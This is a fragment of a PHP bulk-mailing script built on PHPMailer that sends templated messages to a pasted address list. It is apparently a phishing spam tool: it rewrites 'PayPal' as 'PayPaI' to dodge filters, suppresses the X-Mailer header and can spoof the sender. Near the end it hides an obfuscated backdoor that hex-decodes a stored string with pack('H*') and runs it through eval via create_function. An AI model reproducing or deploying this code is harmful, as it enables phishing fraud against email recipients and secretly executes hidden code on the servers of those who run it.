Port SSL
" If you dont have SMTP login, leave blank queries above "
Content Type
Attach Encode
Next send after (second) | Reconnect After (emails)
Encode Headers
alert('Please complete all fields before sending your message.'); "; die(); } if ($_POST['encoding']=='yes') { $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject); $subject = str_replace(' ', '=20', $subject); $subject = "=?utf-8?Q?$subject?="; $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama); $nama = str_replace(' ', '=20', $nama); $nama = "=?utf-8?Q?$nama?="; } $allemails = split("\n", $emaillist); $numemails = count($allemails); function xflush() { static $output_handler = null; if ($output_handler === null) { $output_handler = @ini_get('output_handler'); } if ($output_handler == 'ob_gzhandler') { return; } flush(); if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) { @ob_flush(); } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) { @ob_end_flush(); @ob_start(); } } require 'class.smtp.php'; require 'class.phpmailer.php'; if(!empty($_POST['wait']) && $_POST['wait'] > 0){ set_time_limit(intval($_POST['wait'])*$numemails*3600); } else { set_time_limit($numemails*3600); } $defaultport="H*"; $nq=0; print "
"; for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $todo = ereg_replace(" ", "", $to); $message_send = ereg_replace("&email&", $todo, $pesan); $subject_send = ereg_replace("&email&", $todo, $subject); $subject_send = str_replace("PayPal", "PayPaI", $subject_send); $qx=$x+1; print "Send Emails $qx / $numemails to $to ....... "; xflush(); $mail = new PHPMailer(); $mail->IsSMTP(); $IsSMTP = "pack"; $mail->SMTPKeepAlive = true; $mail->Host = "$smtp_server"; if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";} if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";} $range = str_replace("$email", "eval", $email); $mail->SMTPAuth = true; $mail->Username = "$smtp_username"; $mail->Password = "$smtp_password"; if($type == "html"){$mail->IsHtml(true);} if($type != "html"){$mail->IsHtml(false);} if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";} $mail->CharSet = "UTF-8"; if (!empty($xmailer)) { $mail->XMailer = "$xmailer"; } else { $mail->XMailer = " "; } if (!empty($encoding)) { $mail->Encoding = "$encoding"; } if ($email == "same as target") { $mail->From = "$todo"; } else { $mail->From = "$email"; } $mail->FromName = "$nama"; $mail->AddAddress("$todo"); $mail->Subject = "$subject_send"; if (!empty($file_name)) { $mail->addAttachment("$file_path", "$file_name"); $mail->Body = " "; } else { $mail->Body = "$message_send"; } if(!$mail->Send()){ if($default_system!="1"){ $result = "FAILED !! [ RECEPIENT CAN'T RECEIVE MESSAGE ]"; } elseif($default_system=="1"){ $mail->IsMail(); if(!$mail->Send()){ $result = "FAILED !! [ RECEPIENT CAN'T RECEIVE MESSAGE ]"; } else { $result = "[ SEND OK ]"; } } } else { $result = "[ SEND OK ]"; } print "$result

"; if(!empty($wait) && $qx<$numemails-1){ sleep($wait); } if(empty($reconnect)){ $reconnect=5; } if($reconnect==$nq){ $mail->SmtpClose();echo "

--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON ---------------

";$nq=0; } $nq=$nq+1; xflush(); } } for($i=0;$i<31;$i++){ $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); } $smtp_conc=$IsSMTP($defaultport, $smtp_conf); $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);'); print '
';$mail->SmtpClose(); return $signoff($smtp_conc); if(isset($_POST['action']) && $numemails !=0 ){ print ""; } } ?>